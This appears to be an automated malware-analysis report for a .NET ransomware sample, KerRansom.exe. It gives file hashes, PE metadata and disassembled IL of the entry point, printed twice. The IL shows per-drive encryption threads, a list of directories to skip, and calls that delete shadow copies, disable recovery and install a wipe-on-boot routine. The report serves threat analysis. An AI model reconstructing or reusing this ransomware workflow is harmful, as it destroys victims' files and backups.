Deep Malware Analysis of 60fa63a3620e71e6b7512cab6e9a9b54 | md5: 60fa63a3620e71e6b7512cab6e9a9b54 | Executable | PE (Portable Executable) | .Net | Managed .NET | PE File Layout | Win 32 Exe | x86 | SOS: 0.19

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.

Symbol Obfuscation Score Very low

MD5	60fa63a3620e71e6b7512cab6e9a9b54
Sha1	c9168a65e3e9bc8e12d36417bbef97b559c78b31
Sha256	d78530edbd145e6ab5daf2b68f5260dc51b279d0552a8092da0b018eeeb2fe64
Sha384	03967761ff44505c04af72be54f9fbd0b681d4e7f979f200ed5b4f53f031d327192074fe04c79e15a8891f38fde16e30
Sha512	cee4f9d5113c695990d8df35a0c3fe9979f1befb7b67afef14c3940636b371694ab91458e79379e7775f251a25486dee35cd1a3e07eaaf1868905842ce88fb75
SSDeep	192:IDuXiXeD394/uapXPUygZ3Wsb815GO9URdJyS9QMW7joSTJtYNDgeNqgtgUHo/40:/iOZ25PvgVfcf9URd7QngjheB4sG
TLSH	5F824D4177F54728F1BB0B796AB746201B37B862DC36C38E09CC558D1FB37488866B66

PeID

.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET

STICH beta

No STICH Path has been generated for this analysis yet.

1 structural branch were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 1

Name	Value
Info	PE Detect: PeReader OK (file layout)
Module Name	KerRansom.exe
Full Name	KerRansom.exe
EntryPoint	System.Void KerRansom::Main()
Scope Name	KerRansom.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	KerRansom
Assembly Version	0.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	126
Main Method	System.Void KerRansom::Main()
Main IL Instruction Count	185
Main IL	newobj System.Void KerRansom/<>c__DisplayClass1::.ctor() stloc.s V_6 nop <null> ldc.i4.s 32 newarr System.Byte stsfld System.Byte[] KerRansom::_key ldc.i4.s 16 newarr System.Byte stsfld System.Byte[] KerRansom::_iv newobj System.Void System.Security.Cryptography.RNGCryptoServiceProvider::.ctor() stloc.0 <null> nop <null> ldloc.0 <null> ldsfld System.Byte[] KerRansom::_key callvirt System.Void System.Security.Cryptography.RandomNumberGenerator::GetBytes(System.Byte[]) nop <null> ldloc.0 <null> ldsfld System.Byte[] KerRansom::_iv callvirt System.Void System.Security.Cryptography.RandomNumberGenerator::GetBytes(System.Byte[]) nop <null> nop <null> leave.s IL_0054: nop ldloc.0 <null> ldnull <null> ceq <null> stloc.s V_7 ldloc.s V_7 brtrue.s IL_0053: endfinally ldloc.0 <null> callvirt System.Void System.IDisposable::Dispose() nop <null> endfinally <null> nop <null> ldc.i4.s 26 call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr .cache_ call System.Guid System.Guid::NewGuid() stloc.s V_8 ldloca.s V_8 ldstr N call System.String System.Guid::ToString(System.String) ldc.i4.0 <null> ldc.i4.8 <null> callvirt System.String System.String::Substring(System.Int32,System.Int32) call System.String System.String::Concat(System.String,System.String) call System.String System.IO.Path::Combine(System.String,System.String) stsfld System.String KerRansom::_baseDir ldsfld System.String KerRansom::_baseDir call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldsfld System.String KerRansom::_baseDir ldc.i4.2 <null> call System.Boolean KerRansom::SetFileAttributes(System.String,System.UInt32) pop <null> ldloc.s V_6 ldc.i4.s 11 newarr System.String stloc.s V_9 ldloc.s V_9 ldc.i4.0 <null> ldstr Windows stelem.ref <null> ldloc.s V_9 ldc.i4.1 <null> ldstr System32 stelem.ref <null> ldloc.s V_9 ldc.i4.2 <null> ldstr SysWOW64 stelem.ref <null> ldloc.s V_9 ldc.i4.3 <null> ldstr Program Files stelem.ref <null> ldloc.s V_9 ldc.i4.4 <null> ldstr Program Files (x86) stelem.ref <null> ldloc.s V_9 ldc.i4.5 <null> ldstr ProgramData stelem.ref <null> ldloc.s V_9 ldc.i4.6 <null> ldstr $Recycle.Bin stelem.ref <null> ldloc.s V_9 ldc.i4.7 <null> ldstr AppData stelem.ref <null> ldloc.s V_9 ldc.i4.8 <null> ldstr node_modules stelem.ref <null> ldloc.s V_9 ldc.i4.s 9 ldstr .git stelem.ref <null> ldloc.s V_9 ldc.i4.s 10 ldstr __pycache__ stelem.ref <null> ldloc.s V_9 stfld System.String[] KerRansom/<>c__DisplayClass1::skipDirs call System.Collections.Generic.List`1<System.String> KerRansom::GetDrives() stloc.1 <null> newobj System.Void System.Collections.Generic.List`1<System.Threading.Thread>::.ctor() stloc.2 <null> nop <null> ldloc.1 <null> callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator() stloc.s V_10 br.s IL_0176: ldloca.s V_10 ldloca.s V_10 call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current() stloc.3 <null> newobj System.Void KerRansom/<>c__DisplayClass3::.ctor() stloc.s V_5 ldloc.s V_5 ldloc.s V_6 stfld KerRansom/<>c__DisplayClass1 KerRansom/<>c__DisplayClass3::CS$<>8__locals2 nop <null> ldloc.s V_5 ldloc.3 <null> stfld System.String KerRansom/<>c__DisplayClass3::d ldloc.s V_5 ldftn System.Void KerRansom/<>c__DisplayClass3::<Main>b__0() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.s V_4 ldloc.s V_4 callvirt System.Void System.Threading.Thread::Start() nop <null> ldloc.2 <null> ldloc.s V_4 callvirt System.Void System.Collections.Generic.List`1<System.Threading.Thread>::Add(System.Threading.Thread) nop <null> nop <null> ldloca.s V_10 call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext() stloc.s V_7 ldloc.s V_7 brtrue.s IL_012F: ldloca.s V_10 leave.s IL_0194: nop ldloca.s V_10 constrained. System.Collections.Generic.List`1/Enumerator<System.String> callvirt System.Void System.IDisposable::Dispose() nop <null> endfinally <null> nop <null> nop <null> ldloc.2 <null> callvirt System.Collections.Generic.List`1/Enumerator<System.Threading.Thread> System.Collections.Generic.List`1<System.Threading.Thread>::GetEnumerator() stloc.s V_11 br.s IL_01B1: ldloca.s V_11 ldloca.s V_11 call System.Threading.Thread System.Collections.Generic.List`1/Enumerator<System.Threading.Thread>::get_Current() stloc.s V_4 ldloc.s V_4 callvirt System.Void System.Threading.Thread::Join() nop <null> ldloca.s V_11 call System.Boolean System.Collections.Generic.List`1/Enumerator<System.Threading.Thread>::MoveNext() stloc.s V_7 ldloc.s V_7 brtrue.s IL_01A0: ldloca.s V_11 leave.s IL_01CF: nop ldloca.s V_11 constrained. System.Collections.Generic.List`1/Enumerator<System.Threading.Thread> callvirt System.Void System.IDisposable::Dispose() nop <null> endfinally <null> nop <null> call System.Void KerRansom::DeleteShadows() nop <null> call System.Void KerRansom::DisableRecovery() nop <null> call System.Void KerRansom::MakeUnlockBat() nop <null> call System.Void KerRansom::InstallWipeOnBoot() nop <null> call System.Void KerRansom::SetWallpaper() nop <null> nop <null> ret <null>
Module Name	KerRansom.exe
Full Name	KerRansom.exe
EntryPoint	System.Void KerRansom::Main()
Scope Name	KerRansom.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	KerRansom
Assembly Version	0.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	126
Main Method	System.Void KerRansom::Main()
Main IL Instruction Count	185
Main IL	newobj System.Void KerRansom/<>c__DisplayClass1::.ctor() stloc.s V_6 nop <null> ldc.i4.s 32 newarr System.Byte stsfld System.Byte[] KerRansom::_key ldc.i4.s 16 newarr System.Byte stsfld System.Byte[] KerRansom::_iv newobj System.Void System.Security.Cryptography.RNGCryptoServiceProvider::.ctor() stloc.0 <null> nop <null> ldloc.0 <null> ldsfld System.Byte[] KerRansom::_key callvirt System.Void System.Security.Cryptography.RandomNumberGenerator::GetBytes(System.Byte[]) nop <null> ldloc.0 <null> ldsfld System.Byte[] KerRansom::_iv callvirt System.Void System.Security.Cryptography.RandomNumberGenerator::GetBytes(System.Byte[]) nop <null> nop <null> leave.s IL_0054: nop ldloc.0 <null> ldnull <null> ceq <null> stloc.s V_7 ldloc.s V_7 brtrue.s IL_0053: endfinally ldloc.0 <null> callvirt System.Void System.IDisposable::Dispose() nop <null> endfinally <null> nop <null> ldc.i4.s 26 call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr .cache_ call System.Guid System.Guid::NewGuid() stloc.s V_8 ldloca.s V_8 ldstr N call System.String System.Guid::ToString(System.String) ldc.i4.0 <null> ldc.i4.8 <null> callvirt System.String System.String::Substring(System.Int32,System.Int32) call System.String System.String::Concat(System.String,System.String) call System.String System.IO.Path::Combine(System.String,System.String) stsfld System.String KerRansom::_baseDir ldsfld System.String KerRansom::_baseDir call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldsfld System.String KerRansom::_baseDir ldc.i4.2 <null> call System.Boolean KerRansom::SetFileAttributes(System.String,System.UInt32) pop <null> ldloc.s V_6 ldc.i4.s 11 newarr System.String stloc.s V_9 ldloc.s V_9 ldc.i4.0 <null> ldstr Windows stelem.ref <null> ldloc.s V_9 ldc.i4.1 <null> ldstr System32 stelem.ref <null> ldloc.s V_9 ldc.i4.2 <null> ldstr SysWOW64 stelem.ref <null> ldloc.s V_9 ldc.i4.3 <null> ldstr Program Files stelem.ref <null> ldloc.s V_9 ldc.i4.4 <null> ldstr Program Files (x86) stelem.ref <null> ldloc.s V_9 ldc.i4.5 <null> ldstr ProgramData stelem.ref <null> ldloc.s V_9 ldc.i4.6 <null> ldstr $Recycle.Bin stelem.ref <null> ldloc.s V_9 ldc.i4.7 <null> ldstr AppData stelem.ref <null> ldloc.s V_9 ldc.i4.8 <null> ldstr node_modules stelem.ref <null> ldloc.s V_9 ldc.i4.s 9 ldstr .git stelem.ref <null> ldloc.s V_9 ldc.i4.s 10 ldstr __pycache__ stelem.ref <null> ldloc.s V_9 stfld System.String[] KerRansom/<>c__DisplayClass1::skipDirs call System.Collections.Generic.List`1<System.String> KerRansom::GetDrives() stloc.1 <null> newobj System.Void System.Collections.Generic.List`1<System.Threading.Thread>::.ctor() stloc.2 <null> nop <null> ldloc.1 <null> callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator() stloc.s V_10 br.s IL_0176: ldloca.s V_10 ldloca.s V_10 call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current() stloc.3 <null> newobj System.Void KerRansom/<>c__DisplayClass3::.ctor() stloc.s V_5 ldloc.s V_5 ldloc.s V_6 stfld KerRansom/<>c__DisplayClass1 KerRansom/<>c__DisplayClass3::CS$<>8__locals2 nop <null> ldloc.s V_5 ldloc.3 <null> stfld System.String KerRansom/<>c__DisplayClass3::d ldloc.s V_5 ldftn System.Void KerRansom/<>c__DisplayClass3::<Main>b__0() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.s V_4 ldloc.s V_4 callvirt System.Void System.Threading.Thread::Start() nop <null> ldloc.2 <null> ldloc.s V_4 callvirt System.Void System.Collections.Generic.List`1<System.Threading.Thread>::Add(System.Threading.Thread) nop <null> nop <null> ldloca.s V_10 call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext() stloc.s V_7 ldloc.s V_7 brtrue.s IL_012F: ldloca.s V_10 leave.s IL_0194: nop ldloca.s V_10 constrained. System.Collections.Generic.List`1/Enumerator<System.String> callvirt System.Void System.IDisposable::Dispose() nop <null> endfinally <null> nop <null> nop <null> ldloc.2 <null> callvirt System.Collections.Generic.List`1/Enumerator<System.Threading.Thread> System.Collections.Generic.List`1<System.Threading.Thread>::GetEnumerator() stloc.s V_11 br.s IL_01B1: ldloca.s V_11 ldloca.s V_11 call System.Threading.Thread System.Collections.Generic.List`1/Enumerator<System.Threading.Thread>::get_Current() stloc.s V_4 ldloc.s V_4 callvirt System.Void System.Threading.Thread::Join() nop <null> ldloca.s V_11 call System.Boolean System.Collections.Generic.List`1/Enumerator<System.Threading.Thread>::MoveNext() stloc.s V_7 ldloc.s V_7 brtrue.s IL_01A0: ldloca.s V_11 leave.s IL_01CF: nop ldloca.s V_11 constrained. System.Collections.Generic.List`1/Enumerator<System.Threading.Thread> callvirt System.Void System.IDisposable::Dispose() nop <null> endfinally <null> nop <null> call System.Void KerRansom::DeleteShadows() nop <null> call System.Void KerRansom::DisableRecovery() nop <null> call System.Void KerRansom::MakeUnlockBat() nop <null> call System.Void KerRansom::InstallWipeOnBoot() nop <null> call System.Void KerRansom::SetWallpaper() nop <null> nop <null> ret <null>